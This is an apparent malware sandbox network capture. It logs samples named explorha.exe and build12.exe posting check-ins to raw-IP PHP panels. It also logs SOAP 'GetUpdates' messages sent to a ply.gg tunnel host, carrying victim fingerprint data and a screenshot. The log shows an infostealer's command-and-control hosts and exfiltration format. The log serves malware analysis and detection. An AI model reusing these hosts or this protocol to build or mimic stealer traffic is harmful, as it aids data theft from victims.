Apr 19, 2024 03:31:07.890989065 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:08.142723083 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
251	192.168.2.5	50092	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:08.055644989 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:08.303412914 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
252	192.168.2.5	50095	147.185.221.19	30946	7324	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:08.371130943 CEST	248	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: b-stamps.gl.at.ply.gg:30946 Content-Length: 95714 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Apr 19, 2024 03:31:09.021238089 CEST	1289	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: b-stamps.gl.at.ply.gg:30946 Content-Length: 95714 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 75 73 65 72 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 43 69 74 79 3e 55 4e 4b 4e 4f 57 4e 3c 2f 61 3a 43 69 74 79 3e 3c 61 3a 43 6f 75 6e 74 72 79 3e 55 53 3c 2f 61 3a 43 6f 75 6e 74 72 79 3e 3c 61 3a 46 69 6c 65 4c 6f 63 61 74 69 6f 6e 3e 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70 5c 31 30 30 30 31 38 38 30 30 31 5c 62 75 69 6c 64 31 32 2e 65 78 65 3c 2f 61 3a 46 69 6c 65 4c 6f 63 61 74 69 6f 6e 3e 3c 61 3a 48 61 72 64 77 61 72 65 3e 39 46 31 39 36 42 34 39 37 42 44 46 44 30 43 45 44 38 33 32 44 34 41 42 38 41 41 43 33 42 34 46 3c 2f 61 3a 48 61 72 64 77 61 72 65 3e 3c 61 3a 49 50 76 34 3e 38 31 2e 31 38 31 2e 35 37 2e 35 32 3c 2f 61 3a 49 50 76 34 3e 3c 61 3a 4c 61 6e 67 75 61 67 65 3e 45 6e 67 6c 69 73 68 20 28 55 6e 69 74 65 64 20 4b 69 6e 67 64 6f 6d 29 3c 2f 61 3a 4c 61 6e 67 75 61 67 65 3e 3c 61 3a 4d 61 63 68 69 6e 65 4e 61 6d 65 3e 61 6c 66 6f 6e 73 3c 2f 61 3a 4d 61 63 68 69 6e 65 4e 61 6d 65 3e 3c 61 3a 4d 6f 6e 69 74 6f 72 3e 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 42 51 41 41 41 41 51 41 43 41 59 41 41 41 43 2b 6b 2f 52 44 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 41 41 52 6e 51 55 31 42 41 41 43 78 6a 77 76 38 59 51 55 41 41 41 41 4a 63 45 68 5a 63 77 41 41 44 73 4d 41 41 41 37 44 41 63 64 76 71 47 51 41 41 4b 4e 63 53 55 52 42 56 48 68 65 37 50 31 2f 65 42 7a 33 66 65 42 35 37 68 39 33 74 33 76 6e 5a 35 37 64 6d 39 76 62 33 64 6c 6e 62 37 6d 36 33 5a 32 39 33 4d 37 74 62 76 59 77 73 35 37 6c 2f 76 41 6f 48 74 73 38 61 31 65 30 4d 78 6b 34 6b 59 53 4d 6e 46 43 32 4d 34 77 63 6d 35 62 74 51 46 46 69 4a 4a 62 43 53 4c 49 74 78 54 4b 63 52 4d 4c 45 69 65 69 78 45 6c 69 79 41 74 6b 5a 67 34 6b 74 57 42 61 44 53 45 34 67 55 68 59 6b 57 59 52 2b 67 70 5a 6f 79 42 51 46 6b 52 4c 42 58 2f 70 63 66 61 75 71 67 65 35 47 6f 51 43 51 41 49 6c 75 76 74 37 50 38 35 6f 49 36 4f 37 71 71 75 71 47 35 50 70 4d 56 66 65 2f 46 5a 49 6b 53 5a 49 6b 53 5a 4b 36 4e 67 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdates xmlns="http://tempuri.org/"><user xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:City>UNKNOWN</a:City><a:Country>US</a:Country><a:FileLocation>C:\Users\user\AppData\Local\Temp\1000188001\build12.exe</a:FileLocation><a:Hardware>9F196B497BDFD0CED832D4AB8AAC3B4F</a:Hardware><a:IPv4>81.181.57.52</a:IPv4><a:Language>English (United Kingdom)</a:Language><a:MachineName>user</a:MachineName><a:Monitor>iVBORw0KGgoAAAANSUhEUgAABQAAAAQACAYAAAC+k/RDAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAKNcSURBVHhe7P1/eBz3feB57h93t3vnZ57dm9vb3dlnb7m63Z293M7tbvYws57l/vAoHts8a1e0Mxk4kYSMnFC2M4wcm5btQFFiJJbCSLItxTKcRMLEieixEliyAtkZg4ktWBaDSE4gUhYkWYR+gpZoyBQFkRLBX/pcfauqge5GoQCQAIluvt7P85oI6O7qquqG5PpMVfe/FZIkSZIkSZK6NgNASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZ
Apr 19, 2024 03:33:00.398436069 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:32:59 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>
Apr 19, 2024 03:33:00.998579979 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:32:59 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>
Apr 19, 2024 03:33:02.201956987 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:32:59 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>
Apr 19, 2024 03:33:04.602530003 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:32:59 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>
Apr 19, 2024 03:33:09.410851002 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:32:59 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
253	192.168.2.5	50094	147.185.221.19	30946	5608	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:08.371131897 CEST	248	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: b-stamps.gl.at.ply.gg:30946 Content-Length: 95713 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Apr 19, 2024 03:31:09.034512043 CEST	1289	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: b-stamps.gl.at.ply.gg:30946 Content-Length: 95713 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 75 73 65 72 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 43 69 74 79 3e 55 4e 4b 4e 4f 57 4e 3c 2f 61 3a 43 69 74 79 3e 3c 61 3a 43 6f 75 6e 74 72 79 3e 55 53 3c 2f 61 3a 43 6f 75 6e 74 72 79 3e 3c 61 3a 46 69 6c 65 4c 6f 63 61 74 69 6f 6e 3e 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70 5c 31 30 30 30 31 38 37 30 30 31 5c 62 75 69 6c 64 31 32 2e 65 78 65 3c 2f 61 3a 46 69 6c 65 4c 6f 63 61 74 69 6f 6e 3e 3c 61 3a 48 61 72 64 77 61 72 65 3e 39 46 31 39 36 42 34 39 37 42 44 46 44 30 43 45 44 38 33 32 44 34 41 42 38 41 41 43 33 42 34 46 3c 2f 61 3a 48 61 72 64 77 61 72 65 3e 3c 61 3a 49 50 76 34 3e 38 31 2e 31 38 31 2e 35 37 2e 35 32 3c 2f 61 3a 49 50 76 34 3e 3c 61 3a 4c 61 6e 67 75 61 67 65 3e 45 6e 67 6c 69 73 68 20 28 55 6e 69 74 65 64 20 4b 69 6e 67 64 6f 6d 29 3c 2f 61 3a 4c 61 6e 67 75 61 67 65 3e 3c 61 3a 4d 61 63 68 69 6e 65 4e 61 6d 65 3e 61 6c 66 6f 6e 73 3c 2f 61 3a 4d 61 63 68 69 6e 65 4e 61 6d 65 3e 3c 61 3a 4d 6f 6e 69 74 6f 72 3e 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 42 51 41 41 41 41 51 41 43 41 59 41 41 41 43 2b 6b 2f 52 44 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 41 41 52 6e 51 55 31 42 41 41 43 78 6a 77 76 38 59 51 55 41 41 41 41 4a 63 45 68 5a 63 77 41 41 44 73 4d 41 41 41 37 44 41 63 64 76 71 47 51 41 41 4b 4e 63 53 55 52 42 56 48 68 65 37 50 31 2f 65 42 7a 33 66 65 42 35 37 68 39 33 74 33 76 6e 5a 35 37 64 6d 39 76 62 33 64 6c 6e 62 37 6d 36 33 5a 32 39 33 4d 37 74 62 76 59 77 73 35 37 6c 2f 76 41 6f 48 74 73 38 61 31 65 30 4d 78 6b 34 6b 59 53 4d 6e 46 43 32 4d 34 77 63 6d 35 62 74 51 46 46 69 4a 4a 62 43 53 4c 49 74 78 54 4b 63 52 4d 4c 45 69 65 69 78 45 6c 69 79 41 74 6b 5a 67 34 6b 74 57 42 61 44 53 45 34 67 55 68 59 6b 57 59 52 2b 67 70 5a 6f 79 42 51 46 6b 52 4c 42 58 2f 70 63 66 61 75 71 67 65 35 47 6f 51 43 51 41 49 6c 75 76 74 37 50 38 35 6f 49 36 4f 37 71 71 75 71 47 35 50 70 4d 56 66 65 2f 46 5a 49 6b 53 5a 49 6b 53 5a 4b 36 4e 67 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a 4b 36 4f 41 4e 41 53 5a 49 6b 53 5a 49 6b 71 59 73 7a 41 4a 51 6b 53 5a 49 6b 53 5a Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdates xmlns="http://tempuri.org/"><user xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:City>UNKNOWN</a:City><a:Country>US</a:Country><a:FileLocation>C:\Users\user\AppData\Local\Temp\1000187001\build12.exe</a:FileLocation><a:Hardware>9F196B497BDFD0CED832D4AB8AAC3B4F</a:Hardware><a:IPv4>81.181.57.52</a:IPv4><a:Language>English (United Kingdom)</a:Language><a:MachineName>user</a:MachineName><a:Monitor>iVBORw0KGgoAAAANSUhEUgAABQAAAAQACAYAAAC+k/RDAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAKNcSURBVHhe7P1/eBz3feB57h93t3vnZ57dm9vb3dlnb7m63Z293M7tbvYws57l/vAoHts8a1e0Mxk4kYSMnFC2M4wcm5btQFFiJJbCSLItxTKcRMLEieixEliyAtkZg4ktWBaDSE4gUhYkWYR+gpZoyBQFkRLBX/pcfauqge5GoQCQAIluvt7P85oI6O7qquqG5PpMVfe/FZIkSZIkSZK6NgNASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZK6OANASZIkSZIkqYszAJQkSZIkSZ
Apr 19, 2024 03:33:00.192931890 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:32:59 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>
Apr 19, 2024 03:33:00.497421026 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:32:59 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>
Apr 19, 2024 03:33:01.097130060 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:32:59 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 